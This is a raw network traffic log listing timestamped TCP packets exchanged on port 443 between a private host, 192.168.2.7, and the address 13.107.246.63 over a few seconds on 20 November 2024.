Nov 20, 2024 17:42:04.147778988 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.147850037 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.149415016 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.149575949 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.149600983 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.150846958 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.151019096 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.151046038 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.154444933 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.154453039 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.154920101 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.154926062 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.161109924 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.161218882 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.161314964 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.161439896 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.161458015 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.164108992 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.164150953 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.164212942 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.164345980 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.164355993 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.189903975 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.189913988 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.205096006 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.205104113 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.230207920 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.251507998 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.264688015 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.264777899 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.264847994 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.266329050 CET	49819	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.266351938 CET	443	49819	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.271893978 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.271939993 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.272051096 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.272268057 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.272284031 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526722908 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526784897 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526808977 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526834965 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.526845932 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526854992 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526866913 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526870966 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.526890993 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526896954 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.526912928 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526916981 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.526937962 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.526942015 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.526968956 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.580466032 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.597170115 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.600626945 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.600693941 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.600784063 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.600826025 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.600841999 CET	49820	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.600852966 CET	443	49820	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.603884935 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.603925943 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.604003906 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.604166031 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.604187012 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.659956932 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.659981012 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.659991980 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.660010099 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.660032034 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.660033941 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.660053015 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.660062075 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.660075903 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.660110950 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.663429022 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.663484097 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.663675070 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.664215088 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.664239883 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840403080 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840441942 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840473890 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840483904 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.840497971 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840524912 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840554953 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840570927 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.840591908 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840715885 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.840723038 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.840997934 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841053009 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841073036 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841074944 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841092110 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841098070 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841118097 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841126919 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841145992 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841660976 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841706038 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841712952 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841805935 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.841815948 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.841881037 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.843084097 CET	49821	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.843096018 CET	443	49821	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.943162918 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.943176985 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.943233013 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.943253994 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.943264961 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.943299055 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.961148977 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.961183071 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.961210966 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.961218119 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:04.961236000 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:04.961249113 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.007724047 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.007766008 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.007822037 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.008086920 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.008107901 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.035948992 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.035976887 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.036086082 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.036086082 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.036096096 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.036143064 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.100178957 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.100209951 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.100265980 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.100279093 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.100297928 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.100312948 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.128950119 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.128977060 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.129044056 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.129055977 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.129081964 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.129102945 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.156653881 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.156680107 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.156733990 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.156742096 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.156768084 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.156789064 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.172712088 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.173868895 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.173888922 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.174561977 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.174573898 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.226856947 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.226886034 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.226938009 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.226948977 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.226975918 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.226994038 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.252377987 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.252403975 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.252461910 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.252470970 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.252506018 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.252513885 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.271094084 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.271116018 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.271167040 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.271174908 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.271189928 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.271256924 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.287512064 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.287534952 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.287585020 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.287591934 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.287606001 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.287621021 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.301294088 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.301320076 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.301373005 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.301384926 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.301403046 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.301419973 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.312016964 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.312057018 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.312077999 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.312083960 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.312105894 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.312138081 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.312366962 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.312501907 CET	49822	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.312525034 CET	443	49822	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.472698927 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.472727060 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.472822905 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.473123074 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.473138094 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.630692959 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.633707047 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.633799076 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.633888006 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.633907080 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.633945942 CET	49823	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.633951902 CET	443	49823	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.636892080 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.636962891 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.637231112 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.637398005 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.637432098 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.953605890 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.954277039 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.954348087 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:05.955049992 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:05.955065012 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.036303997 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.037298918 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.037321091 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.037780046 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.037784100 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.142618895 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.143950939 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.144037962 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.145225048 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.145240068 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.405817986 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.409889936 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.409944057 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.763528109 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.763566017 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.763581991 CET	49826	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.763588905 CET	443	49826	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.781048059 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.781114101 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.781168938 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.781316996 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.781428099 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.781548977 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.787748098 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.789587021 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.789604902 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.789616108 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.789619923 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.790642023 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.792068005 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.792120934 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.792150974 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.792165995 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.794219017 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.794243097 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.794845104 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.794848919 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.795731068 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.795758009 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.796355963 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.797280073 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.797386885 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.800128937 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.801697016 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.801843882 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.801860094 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.803288937 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.803345919 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.806035042 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.806138992 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.806958914 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.806967020 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.809452057 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.809473991 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.809535980 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.812860966 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.812911034 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.812966108 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.813118935 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.813128948 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.813606024 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.813620090 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.815340042 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.815349102 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.815427065 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.815660000 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:06.815671921 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.843343019 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:06.854490042 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.242002964 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.242165089 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.242225885 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.242371082 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.242412090 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.242438078 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.242503881 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.248209000 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.251966000 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.254250050 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.254317045 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.255393028 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.255409002 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.259252071 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.259345055 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.259526014 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.259680033 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.259718895 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.299530983 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.313920975 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.314227104 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.314263105 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.318708897 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.318782091 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.319123983 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.319310904 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.319359064 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324348927 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324363947 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324409008 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.324421883 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324433088 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324479103 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.324481964 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324487925 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.324537039 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.360894918 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.360917091 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.408329964 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.432923079 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.433451891 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.433491945 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.433947086 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.433959007 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491338968 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491369963 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491415977 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491416931 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.491436005 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491451025 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.491463900 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.491468906 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491488934 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.491489887 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.491514921 CET	49831	443	192.168.2.7	13.107.246.63
